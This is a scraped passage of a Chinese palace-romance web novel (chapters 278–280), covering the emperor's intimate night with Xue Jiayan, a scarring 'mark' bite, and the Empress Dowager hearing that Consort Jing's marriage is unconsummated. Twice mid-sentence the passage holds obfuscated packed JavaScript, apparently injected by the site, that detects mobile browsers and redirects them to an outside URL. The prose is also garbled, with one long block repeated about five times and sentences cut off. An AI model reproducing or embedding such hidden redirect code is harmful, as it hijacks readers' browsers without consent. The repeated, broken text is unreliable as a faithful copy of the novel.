连忙握紧她,语气郑重道:“不会的,言言,你千万别这么想。朕向你保证——在阿满真正懂事之前,朕一定把你们的名分,堂堂正正定下来。” 他平日里在她面前多称“我”,此刻却不自觉用了“朕”这一字官称,一字一句,皆是帝王一诺,心意坚定无比。 薛嘉言鼻尖一酸,眼泪便控制不住地落了下来。 她自己也说不清是为何,在这一轮清冷月光下,心头积压的委屈、不安、酸楚一齐涌上来,只想好好哭一场。 姜玄看得心疼,伸手轻轻拭去她眼角的泪,柔声道:“你哭起来固然很美,可我一点也不想看见。你一落泪,我便觉得,是我亏待了你。” 薛嘉言也明白,这般难得的独处时光,不该一直沉溺在低落情绪里。他既已这般心疼她、许诺她,她便不该再叫他担忧。 她轻轻吸了吸鼻子,抬手抚上他的脸颊,抹去眼底湿意,重新扬起一抹温柔的笑: “阿满长得像你,将来一定也和你一样聪明。他比寻常孩子更要早慧,你……可要快一点。” 姜玄见她终于笑了,心头大石才算落下,也跟着松了口气,低低笑道: “那是自然。我盘算着,再有一年,差不多就成了。” “明日便是阿满抓周了,”薛嘉言轻声转了话题,眼底带着期待,“你心里,想让他抓些什么?” 姜玄望着天上明月,眼神微微放空,语轻声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他猛地收紧手臂,将薛嘉言紧紧拥在怀里,头重重搁在她的肩头上,喉咙像是被什么堵住,一句话也说不出来。只有微微颤动的肩头,泄露了他此刻翻涌的情绪,有释然,有酸楚,还有对母妃深埋多年的愧疚与思念,尽数化作无声的悸动,透过相贴的肌肤,传递给怀中的人。 薛嘉言没有多言,只是抬起手,轻轻抚着他的后背,动作温柔又耐心,像在安抚一个受了委屈的孩子,一点点抚平他心底的委屈。 晚风拂过,带着池边荷花的清香,裹着两人交缠的气息,静谧又温柔。 第279章 你侬我侬 过了许久,薛嘉言才轻声开口:“你已经做得很好了,栖真。在最不被人看好、最艰难的境况里,你一步步站稳脚跟,登上帝位,让太妃娘娘被追封为皇太后,得以安息。她若在天有灵,看到如今的你,定然十分欣慰。” 姜玄在她肩头轻轻点了点头,鼻尖蹭过她细腻的脖颈,下巴无意识地蹭了蹭,带着几分依赖的亲昵。 他这个动作,弄得薛嘉言有些痒痒的,她忍不住低低哼了一声,声音软乎乎的,像羽毛轻轻挠在人心上。 这一声轻哼,瞬间驱散了姜玄心头残存的酸涩,唤起了他体内的**。他微微侧头,鼻尖抵着她的耳垂,声音变得喑哑滚烫:“言言真会说话,哄得朕心里舒服多了。这般懂事,朕该赏赐你些好东西才是。” 薛嘉言又羞又恼,抬起手轻轻捶了他胸口一下,力道轻得像挠痒,眼底却满是娇嗔。 姜玄被她这副模样逗得哈哈大笑,笑声低沉又爽朗,打破了月下的静谧。他不等薛嘉言反应,便弯腰打横将她抱起,快步往寝室走去。 一进寝室,姜玄便将她抵在门板上,低头吻了下去。吻的急切又虔诚,带着压抑已久的思念与珍视,薛嘉言抬手搂住他的脖颈,回应着他的吻。衣衫在急切的拉扯中纷纷落下,散落在地,勾勒出一室旖旎。 净房里早已备好了热水,只是两人在花园说话耽搁了些许时辰,水温已渐渐凉了。 这时,门外传来甘松轻缓的声音,带着几分小心翼翼:“皇上,热水送来了。” 姜玄停下吻,眼底有些不耐,闷声道:“不必了,等会儿再送进来。” 甘松连忙应了声“是”,轻手轻脚地退了下去,不敢再多言。 不多时,净房里便传来哗哗的水声,清脆的水流声掩盖了寝室内那些让人面红耳赤的细碎声响,月光透过窗棂,洒在光洁的地面上,映出两人交缠的身影,温柔又缱绻。 两刻钟后,姜玄披了件宽松的常服,打横抱着同样只着薄衣的薛嘉言,脚步轻快地走向内室的软榻,随即两人齐齐滚倒在榻上。 姜玄撑着手臂,居高临下地看着怀中人,发丝上还沾着未干的水珠,垂落在薛嘉言的额间,带来一丝微凉的触感。 他忽然想起方才在花园里,自己无意间用下巴蹭到她脖颈时,她那副又痒又羞的模样,眼底瞬间染上几分狡黠,手臂一收,将薛嘉言紧紧搂在怀里,脸颊埋进她的颈窝,鼻尖先轻轻蹭了蹭那细腻如玉的肌肤,随即落下细碎的吻,从耳根一直蔓延到锁骨,又故意用下巴轻轻蹭着,力道轻 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴,想求饶,可话到嘴边,却化作一声软腻的轻吟,心底竟还有几分难以言喻的悸动,不觉间便彻底软了身子,乖乖窝在他怀里。 两人再次纠缠在一起,室内的温度渐渐升高,唯有窗外的月光,静静洒在榻边,见证着这一室旖旎。 这般翻云覆雨,不知过了多久,待云歇雨住时,窗外的月亮已然西移了不少,原本高悬于中天的明月,此刻斜斜挂在檐角,月光也淡了几分,却依旧温柔。 薛嘉言浑身酸软无力,像一滩春水般窝在姜玄的怀里,脸颊还泛着未褪尽的绯红,呼吸微微急促,声音带着几分沙哑与春意,指尖轻轻划过他的胸口,小声嘟囔道:“你怎么总也要不够?宫里不是已经有了一位静妃娘娘吗?有她陪着你,怎的还总缠着我?” 姜玄闻言,轻轻摩挲着她的发丝,语气带着几分无奈:“太后一心要宋家女进宫联姻,我若是不应,反倒落了话柄,也难让宋家安心。你放心,我自始至终,都没有碰过她分毫,在我心里,从来都只有你一个。”他说着,轻轻捏了捏她的下巴,眼底满是认真,生怕她不信。 薛嘉言却不买账,故意冷哼一声,语气带着几分娇嗔的酸意:“那谁知道呢?反正她跟你同处一座皇宫,你哪日与她好了,我也不晓得。” 她嘴上这般说着,心底却早已信了大半,只不过忍不住要逗逗他,也想听听他更多的偏爱。 姜玄被她这副样子逗得失笑,轻轻捏了捏她的脸颊,力眼底满是宠溺:“你这个小醋坛子……皇宫那么大,又不是只有一个寝宫,我既然答应了你,便定然会做到,此生绝不负你。你还有闲工夫吃这些有的没的醋,看来是还不累,既然这样,那我们便再来一次?” 薛嘉言此刻早已腰酸腿软,连抬手的力气都快没了,一听他这话,顿时慌了神,连忙抬起手轻轻推着他的胸口,语气带着几分急切的讨饶:“不要不要,我错了还不行吗?我再也不吃醋了,你放过我吧,我真的累了。” 姜玄忍不住哈哈一笑。 可笑声还未落下,姜玄忽然觉得胸口一疼,低头一看,只见薛嘉言脸上带着几分得意的笑意。 “哼,我替你做个标记,这样一来,这身子就是我的了,旁人谁也不许碰,包括那个静妃娘娘!” 薛嘉言仰着脸,眼底闪着狡黠的光芒,语气带着几分霸道,还有几分藏不住的欢喜。 姜玄看着她这副模样,眼底的笑意更深,抬手轻轻抚了抚自己被咬伤的地方,那里只留下一个浅浅的红印,并无大碍。 他挑眉看着她,故意逗道:“你这哪里是做标记,分明是没舍得下口,就这浅浅一个印子,等会儿就彻底消了,哪里能算标记?” 薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴,想求饶,可话到嘴边,却化作一声软腻的轻吟,心底竟还有几分难以言喻的悸动,不觉间便彻底软了身子,乖乖窝在他怀里。 两人再次纠缠在一起,室内的温度渐渐升高,唯有窗外的月光,静静洒在榻边,见证着这一室旖旎。 这般翻云覆雨,不知过了多久,待云歇雨住时,窗外的月亮已然西移了不少,原本高悬于中天的明月,此刻斜斜挂在檐角,月光也淡了几分,却依旧温柔。 薛嘉言浑身酸软无力,像一滩春水般窝在姜玄的怀里,脸颊还泛着未褪尽的绯红,呼吸微微急促,声音带着几分沙哑与春意,指尖轻轻划过他的胸口,小声嘟囔道:“你怎么总也要不够?宫里不是已经有了一位静妃娘娘吗?有她陪着你,怎的还总缠着我?” 姜玄闻言,轻轻摩挲着她的发丝,语气带着几分无奈:“太后一心要宋家女进宫联姻,我若是不应,反倒落了话柄,也难让宋家安心。你放心,我自始至终,都没有碰过她分毫,在我心里,从来都只有你一个。”他说着,轻轻捏了捏她的下巴,眼底满是认真,生怕她不信。 薛嘉言却不买账,故意冷哼一声,语气带着几分娇嗔的酸意:“那谁知道呢?反正她跟你同处一座皇宫,你哪日与她好了,我也不晓得。” 她嘴上这般说着,心底却早已信了大半,只不过忍不住要逗逗他,也想听听他更多的偏爱。 姜玄被她这副样子逗得失笑,轻轻捏了捏她的脸颊,力眼底满是宠溺:“你这个小醋坛子……皇宫那么大,又不是只有一个寝宫,我既然答应了你,便定然会做到,此生绝不负你。你还有闲工夫吃这些有的没的醋,看来是还不累,既然这样,那我们便再来一次?” 薛嘉言此刻早已腰酸腿软,连抬手的力气都快没了,一听他这话,顿时慌了神,连忙抬起手轻轻推着他的胸口,语气带着几分急切的讨饶:“不要不要,我错了还不行吗?我再也不吃醋了,你放过我吧,我真的累了。” 姜玄忍不住哈哈一笑。 可笑声还未落下,姜玄忽然觉得胸口一疼,低头一看,只见薛嘉言脸上带着几分得意的笑意。 “哼,我替你做个标记,这样一来,这身子就是我的了,旁人谁也不许碰,包括那个静妃娘娘!” 薛嘉言仰着脸,眼底闪着狡黠的光芒,语气带着几分霸道,还有几分藏不住的欢喜。 姜玄看着她这副模样,眼底的笑意更深,抬手轻轻抚了抚自己被咬伤的地方,那里只留下一个浅浅的红印,并无大碍。 他挑眉看着她,故意逗道:“你这哪里是做标记,分明是没舍得下口,就这浅浅一个印子,等会儿就彻底消了,哪里能算标记?” 薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴,想求饶,可话到嘴边,却化作一声软腻的轻吟,心底竟还有几分难以言喻的悸动,不觉间便彻底软了身子,乖乖窝在他怀里。 两人再次纠缠在一起,室内的温度渐渐升高,唯有窗外的月光,静静洒在榻边,见证着这一室旖旎。 这般翻云覆雨,不知过了多久,待云歇雨住时,窗外的月亮已然西移了不少,原本高悬于中天的明月,此刻斜斜挂在檐角,月光也淡了几分,却依旧温柔。 薛嘉言浑身酸软无力,像一滩春水般窝在姜玄的怀里,脸颊还泛着未褪尽的绯红,呼吸微微急促,声音带着几分沙哑与春意,指尖轻轻划过他的胸口,小声嘟囔道:“你怎么总也要不够?宫里不是已经有了一位静妃娘娘吗?有她陪着你,怎的还总缠着我?” 姜玄闻言,轻轻摩挲着她的发丝,语气带着几分无奈:“太后一心要宋家女进宫联姻,我若是不应,反倒落了话柄,也难让宋家安心。你放心,我自始至终,都没有碰过她分毫,在我心里,从来都只有你一个。”他说着,轻轻捏了捏她的下巴,眼底满是认真,生怕她不信。 薛嘉言却不买账,故意冷哼一声,语气带着几分娇嗔的酸意:“那谁知道呢?反正她跟你同处一座皇宫,你哪日与她好了,我也不晓得。” 她嘴上这般说着,心底却早已信了大半,只不过忍不住要逗逗他,也想听听他更多的偏爱。 姜玄被她这副样子逗得失笑,轻轻捏了捏她的脸颊,力眼底满是宠溺:“你这个小醋坛子……皇宫那么大,又不是只有一个寝宫,我既然答应了你,便定然会做到,此生绝不负你。你还有闲工夫吃这些有的没的醋,看来是还不累,既然这样,那我们便再来一次?” 薛嘉言此刻早已腰酸腿软,连抬手的力气都快没了,一听他这话,顿时慌了神,连忙抬起手轻轻推着他的胸口,语气带着几分急切的讨饶:“不要不要,我错了还不行吗?我再也不吃醋了,你放过我吧,我真的累了。” 姜玄忍不住哈哈一笑。 可笑声还未落下,姜玄忽然觉得胸口一疼,低头一看,只见薛嘉言脸上带着几分得意的笑意。 “哼,我替你做个标记,这样一来,这身子就是我的了,旁人谁也不许碰,包括那个静妃娘娘!” 薛嘉言仰着脸,眼底闪着狡黠的光芒,语气带着几分霸道,还有几分藏不住的欢喜。 姜玄看着她这副模样,眼底的笑意更深,抬手轻轻抚了抚自己被咬伤的地方,那里只留下一个浅浅的红印,并无大碍。 他挑眉看着她,故意逗道:“你这哪里是做标记,分明是没舍得下口,就这浅浅一个印子,等会儿就彻底消了,哪里能算标记?” 薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴,想求饶,可话到嘴边,却化作一声软腻的轻吟,心底竟还有几分难以言喻的悸动,不觉间便彻底软了身子,乖乖窝在他怀里。 两人再次纠缠在一起,室内的温度渐渐升高,唯有窗外的月光,静静洒在榻边,见证着这一室旖旎。 这般翻云覆雨,不知过了多久,待云歇雨住时,窗外的月亮已然西移了不少,原本高悬于中天的明月,此刻斜斜挂在檐角,月光也淡了几分,却依旧温柔。 薛嘉言浑身酸软无力,像一滩春水般窝在姜玄的怀里,脸颊还泛着未褪尽的绯红,呼吸微微急促,声音带着几分沙哑与春意,指尖轻轻划过他的胸口,小声嘟囔道:“你怎么总也要不够?宫里不是已经有了一位静妃娘娘吗?有她陪着你,怎的还总缠着我?” 姜玄闻言,轻轻摩挲着她的发丝,语气带着几分无奈:“太后一心要宋家女进宫联姻,我若是不应,反倒落了话柄,也难让宋家安心。你放心,我自始至终,都没有碰过她分毫,在我心里,从来都只有你一个。”他说着,轻轻捏了捏她的下巴,眼底满是认真,生怕她不信。 薛嘉言却不买账,故意冷哼一声,语气带着几分娇嗔的酸意:“那谁知道呢?反正她跟你同处一座皇宫,你哪日与她好了,我也不晓得。” 她嘴上这般说着,心底却早已信了大半,只不过忍不住要逗逗他,也想听听他更多的偏爱。 姜玄被她这副样子逗得失笑,轻轻捏了捏她的脸颊,力眼底满是宠溺:“你这个小醋坛子……皇宫那么大,又不是只有一个寝宫,我既然答应了你,便定然会做到,此生绝不负你。你还有闲工夫吃这些有的没的醋,看来是还不累,既然这样,那我们便再来一次?” 薛嘉言此刻早已腰酸腿软,连抬手的力气都快没了,一听他这话,顿时慌了神,连忙抬起手轻轻推着他的胸口,语气带着几分急切的讨饶:“不要不要,我错了还不行吗?我再也不吃醋了,你放过我吧,我真的累了。” 姜玄忍不住哈哈一笑。 可笑声还未落下,姜玄忽然觉得胸口一疼,低头一看,只见薛嘉言脸上带着几分得意的笑意。 “哼,我替你做个标记,这样一来,这身子就是我的了,旁人谁也不许碰,包括那个静妃娘娘!” 薛嘉言仰着脸,眼底闪着狡黠的光芒,语气带着几分霸道,还有几分藏不住的欢喜。 姜玄看着她这副模样,眼底的笑意更深,抬手轻轻抚了抚自己被咬伤的地方,那里只留下一个浅浅的红印,并无大碍。 他挑眉看着她,故意逗道:“你这哪里是做标记,分明是没舍得下口,就这浅浅一个印子,等会儿就彻底消了,哪里能算标记?” 薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴,想求饶,可话到嘴边,却化作一声软腻的轻吟,心底竟还有几分难以言喻的悸动,不觉间便彻底软了身子,乖乖窝在他怀里。 两人再次纠缠在一起,室内的温度渐渐升高,唯有窗外的月光,静静洒在榻边,见证着这一室旖旎。 这般翻云覆雨,不知过了多久,待云歇雨住时,窗外的月亮已然西移了不少,原本高悬于中天的明月,此刻斜斜挂在檐角,月光也淡了几分,却依旧温柔。 薛嘉言浑身酸软无力,像一滩春水般窝在姜玄的怀里,脸颊还泛着未褪尽的绯红,呼吸微微急促,声音带着几分沙哑与春意,指尖轻轻划过他的胸口,小声嘟囔道:“你怎么总也要不够?宫里不是已经有了一位静妃娘娘吗?有她陪着你,怎的还总缠着我?” 姜玄闻言,轻轻摩挲着她的发丝,语气带着几分无奈:“太后一心要宋家女进宫联姻,我若是不应,反倒落了话柄,也难让宋家安心。你放心,我自始至终,都没有碰过她分毫,在我心里,从来都只有你一个。”他说着,轻轻捏了捏她的下巴,眼底满是认真,生怕她不信。 薛嘉言却不买账,故意冷哼一声,语气带着几分娇嗔的酸意:“那谁知道呢?反正她跟你同处一座皇宫,你哪日与她好了,我也不晓得。” 她嘴上这般说着,心底却早已信了大半,只不过忍不住要逗逗他,也想听听他更多的偏爱。 姜玄被她这副样子逗得失笑,轻轻捏了捏她的脸颊,力眼底满是宠溺:“你这个小醋坛子……皇宫那么大,又不是只有一个寝宫,我既然答应了你,便定然会做到,此生绝不负你。你还有闲工夫吃这些有的没的醋,看来是还不累,既然这样,那我们便再来一次?” 薛嘉言此刻早已腰酸腿软,连抬手的力气都快没了,一听他这话,顿时慌了神,连忙抬起手轻轻推着他的胸口,语气带着几分急切的讨饶:“不要不要,我错了还不行吗?我再也不吃醋了,你放过我吧,我真的累了。” 姜玄忍不住哈哈一笑。 可笑声还未落下,姜玄忽然觉得胸口一疼,低头一看,只见薛嘉言脸上带着几分得意的笑意。 “哼,我替你做个标记,这样一来,这身子就是我的了,旁人谁也不许碰,包括那个静妃娘娘!” 薛嘉言仰着脸,眼底闪着狡黠的光芒,语气带着几分霸道,还有几分藏不住的欢喜。 姜玄看着她这副模样,眼底的笑意更深,抬手轻轻抚了抚自己被咬伤的地方,那里只留下一个浅浅的红印,并无大碍。 他挑眉看着她,故意逗道:“你这哪里是做标记,分明是没舍得下口,就这浅浅一个印子,等会儿就彻底消了,哪里能算标记?” 薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233039|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 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薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴,想求饶,可话到嘴边,却化作一声软腻的轻吟,心底竟还有几分难以言喻的悸动,不觉间便彻底软了身子,乖乖窝在他怀里。 两人再次纠缠在一起,室内的温度渐渐升高,唯有窗外的月光,静静洒在榻边,见证着这一室旖旎。 这般翻云覆雨,不知过了多久,待云歇雨住时,窗外的月亮已然西移了不少,原本高悬于中天的明月,此刻斜斜挂在檐角,月光也淡了几分,却依旧温柔。 薛嘉言浑身酸软无力,像一滩春水般窝在姜玄的怀里,脸颊还泛着未褪尽的绯红,呼吸微微急促,声音带着几分沙哑与春意,指尖轻轻划过他的胸口,小声嘟囔道:“你怎么总也要不够?宫里不是已经有了一位静妃娘娘吗?有她陪着你,怎的还总缠着我?” 姜玄闻言,轻轻摩挲着她的发丝,语气带着几分无奈:“太后一心要宋家女进宫联姻,我若是不应,反倒落了话柄,也难让宋家安心。你放心,我自始至终,都没有碰过她分毫,在我心里,从来都只有你一个。”他说着,轻轻捏了捏她的下巴,眼底满是认真,生怕她不信。 薛嘉言却不买账,故意冷哼一声,语气带着几分娇嗔的酸意:“那谁知道呢?反正她跟你同处一座皇宫,你哪日与她好了,我也不晓得。” 她嘴上这般说着,心底却早已信了大半,只不过忍不住要逗逗他,也想听听他更多的偏爱。 姜玄被她这副样子逗得失笑,轻轻捏了捏她的脸颊,力眼底满是宠溺:“你这个小醋坛子……皇宫那么大,又不是只有一个寝宫,我既然答应了你,便定然会做到,此生绝不负你。你还有闲工夫吃这些有的没的醋,看来是还不累,既然这样,那我们便再来一次?” 薛嘉言此刻早已腰酸腿软,连抬手的力气都快没了,一听他这话,顿时慌了神,连忙抬起手轻轻推着他的胸口,语气带着几分急切的讨饶:“不要不要,我错了还不行吗?我再也不吃醋了,你放过我吧,我真的累了。” 姜玄忍不住哈哈一笑。 可笑声还未落下,姜玄忽然觉得胸口一疼,低头一看,只见薛嘉言脸上带着几分得意的笑意。 “哼,我替你做个标记,这样一来,这身子就是我的了,旁人谁也不许碰,包括那个静妃娘娘!” 薛嘉言仰着脸,眼底闪着狡黠的光芒,语气带着几分霸道,还有几分藏不住的欢喜。 姜玄看着她这副模样,眼底的笑意更深,抬手轻轻抚了抚自己被咬伤的地方,那里只留下一个浅浅的红印,并无大碍。 他挑眉看着她,故意逗道:“你这哪里是做标记,分明是没舍得下口,就这浅浅一个印子,等会儿就彻底消了,哪里能算标记?” 薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 柔,却足够惹得人浑身发麻。 薛嘉言被他蹭得又痒又酥,细痒意顺着脖颈蔓延至四肢百骸,浑身的力气像是被抽干一般,想抬手推开他,却又软了力道。 她张了张嘴,想求饶,可话到嘴边,却化作一声软腻的轻吟,心底竟还有几分难以言喻的悸动,不觉间便彻底软了身子,乖乖窝在他怀里。 两人再次纠缠在一起,室内的温度渐渐升高,唯有窗外的月光,静静洒在榻边,见证着这一室旖旎。 这般翻云覆雨,不知过了多久,待云歇雨住时,窗外的月亮已然西移了不少,原本高悬于中天的明月,此刻斜斜挂在檐角,月光也淡了几分,却依旧温柔。 薛嘉言浑身酸软无力,像一滩春水般窝在姜玄的怀里,脸颊还泛着未褪尽的绯红,呼吸微微急促,声音带着几分沙哑与春意,指尖轻轻划过他的胸口,小声嘟囔道:“你怎么总也要不够?宫里不是已经有了一位静妃娘娘吗?有她陪着你,怎的还总缠着我?” 姜玄闻言,轻轻摩挲着她的发丝,语气带着几分无奈:“太后一心要宋家女进宫联姻,我若是不应,反倒落了话柄,也难让宋家安心。你放心,我自始至终,都没有碰过她分毫,在我心里,从来都只有你一个。”他说着,轻轻捏了捏她的下巴,眼底满是认真,生怕她不信。 薛嘉言却不买账,故意冷哼一声,语气带着几分娇嗔的酸意:“那谁知道呢?反正她跟你同处一座皇宫,你哪日与她好了,我也不晓得。” 她嘴上这般说着,心底却早已信了大半,只不过忍不住要逗逗他,也想听听他更多的偏爱。 姜玄被她这副样子逗得失笑,轻轻捏了捏她的脸颊,力眼底满是宠溺:“你这个小醋坛子……皇宫那么大,又不是只有一个寝宫,我既然答应了你,便定然会做到,此生绝不负你。你还有闲工夫吃这些有的没的醋,看来是还不累,既然这样,那我们便再来一次?” 薛嘉言此刻早已腰酸腿软,连抬手的力气都快没了,一听他这话,顿时慌了神,连忙抬起手轻轻推着他的胸口,语气带着几分急切的讨饶:“不要不要,我错了还不行吗?我再也不吃醋了,你放过我吧,我真的累了。” 姜玄忍不住哈哈一笑。 可笑声还未落下,姜玄忽然觉得胸口一疼,低头一看,只见薛嘉言脸上带着几分得意的笑意。 “哼,我替你做个标记,这样一来,这身子就是我的了,旁人谁也不许碰,包括那个静妃娘娘!” 薛嘉言仰着脸,眼底闪着狡黠的光芒,语气带着几分霸道,还有几分藏不住的欢喜。 姜玄看着她这副模样,眼底的笑意更深,抬手轻轻抚了抚自己被咬伤的地方,那里只留下一个浅浅的红印,并无大碍。 他挑眉看着她,故意逗道:“你这哪里是做标记,分明是没舍得下口,就这浅浅一个印子,等会儿就彻底消了,哪里能算标记?” 薛嘉言哪里敢真的咬伤他,方才那一口,不过是一时兴起的小情趣,力道轻得很。 姜玄忽然半坐起身,将自己的胸肌递到她面前,眼底满是认真,又带着几分蛊惑的意味,轻声道:“来,再咬一口,狠狠咬一口,留下一道疤痕,这样就再也消不了了,从此,这身子,就完完全全是你的了,谁也抢不走。” 第280章 印记 薛嘉言抬头看着他,他好像是认真的,并不是在开玩笑。 薛嘉言不由得愣了愣,心头一暖,又有些慌乱,嗫嚅着开口:“真的要咬啊?要是咬疼你了,怎么办?我……我还是不敢。”她看着他光洁的胸口,终究是狠不下心。 姜玄怂恿道:“当然要咬疼才行,不咬疼,怎么能留下疤痕,怎么能让旁人都知道,我是你的人?” 说着,他抬起手掌,轻轻扶着薛嘉言的后脑勺,微微用力,将她往自己的胸口带了带。 薛嘉言下意识地躲闪着,脸颊瞬间红得快要滴血,连耳根都透着滚烫的粉色,声音带着几分慌乱与羞涩:“我……我下不去口,真的不行,我怕把你咬坏了。” 她一边躲闪,一边轻轻推着他的手臂。 姜玄却不肯罢休,笑着凑到她耳边,继续蛊惑道:“你就想着,我背信弃义,说好了这辈子只对你一个人好,结果因为你没有给我留下印记,我便反悔了,又同别人好了。现在,你能下得去嘴了吗?” 薛嘉言皱着眉头,仔细想了想他说的话,一股酸涩的醋意涌上心头,她仰起脸,眼神愤愤的,张口便朝着他的胸肌用力咬了下去,这一次,没有丝毫留情。 姜玄闷哼一声,胸口传来一阵清晰的疼痛感,却没有丝毫躲闪,反而微微按住她的后脑勺,让她咬得更重些。 待薛嘉言松开嘴,他低头一看,只见自己的胸肌上,已然留下了一个深深的牙印,细密的血珠正从牙印里慢慢沁出来,染红了一小块肌肤。 他却毫不在意,反而笑着揉了揉薛嘉言的头发,赞道:“好一口锋利的牙,总算舍得下口了,这样一来,就再也消不了了。” 薛嘉言看着他胸口的血珠,顿时慌了神,眼底的怒意瞬间消散,只剩下满满的慌乱与自责,她伸手想碰,却又怕弄疼他,着急道:“怎么办,我没想到真的会咬出血,你疼不疼?都怪我,我不该那么用力的。” 姜玄轻声安慰道:“别慌,这点小伤算得了什么,不疼的,明儿一早就能结疤,过几日就好了,不碍事的。”他说着,轻轻拍了拍她的后背,安抚着她慌乱的情绪。 薛嘉言还是不放心,想起身去叫外面的宫人拿些伤药来,却被姜玄一把拉住,紧紧搂在怀里。 “别去,这点小伤,没必要兴师动众的,若是叫宫人拿伤药来,到时候又是一番鸡飞狗跳的。” 薛嘉言闻言,也只好停下动作,乖乖窝在他怀里。 姜玄低头看着胸口的牙印,忽然笑着开口,语气带着几分戏谑,又有几分认真:“这般还不够,该在这咬人的小嘴里,纹上‘言言之物’四个字。” 薛嘉言啐道:“那怎么行!纹身多疼啊,而且,咱们大兖朝,只有犯了罪的囚犯,才会被纹身黥刑,刻上罪名,哪有好人纹身的?我才不要让你给我纹身,也不许你胡说。” 姜玄听了,没有反驳,只是轻轻亲了亲她。 他没有告诉薛嘉言,从他觊觎身为臣妻的她开始,他便觉得,自己早已是个罪人,是个亏欠她的人。 他本该像那些囚犯一样,受黥刑之罚,一辈子刻上她的印记,以此来偿还他对她的亏欠,也以此来证明,他此生,唯有她一人。 长乐宫内,一室沉静。 太后正伏在案前练字,狼毫蘸墨,一笔一划写得极慢。 沁芳从外头进来,在太后身侧站定,低声道:“娘娘,静妃娘娘身边的杨嬷嬷来了,说是有事同您说。” 太后的笔顿了顿。 杨嬷嬷是宋家的人,跟着宋静仪一起进宫的,算是她在钟粹宫里的眼睛。平日里有什么事,都是先禀给沁芳,再由沁芳转述。今日亲自来了,想必是有什么要紧事。 太后搁下笔,接过沁芳递来的帕子擦了擦手,淡淡道:“让她进来吧。把人都带出去。” 沁芳应了一声,转身出去。不多时,廊下侍立的宫人鱼贯退下,殿门轻轻合上。 杨嬷嬷跟在沁芳身后进来,一进门便跪下行礼,膝盖触地时发出一声闷响。她的头埋得很低,声音压得极低,像是怕被什么人听了去: “启禀太后娘娘,老奴怀疑……静妃娘娘与皇上根本没有夫妻之实。” 太后正端起茶盏的手微微一顿。 “什么?”她抬起眼,目光落在杨嬷嬷身上,“皇上不是隔三岔五就会去钟粹宫吗?” 杨嬷嬷是定期向沁芳禀报钟粹宫动静的。 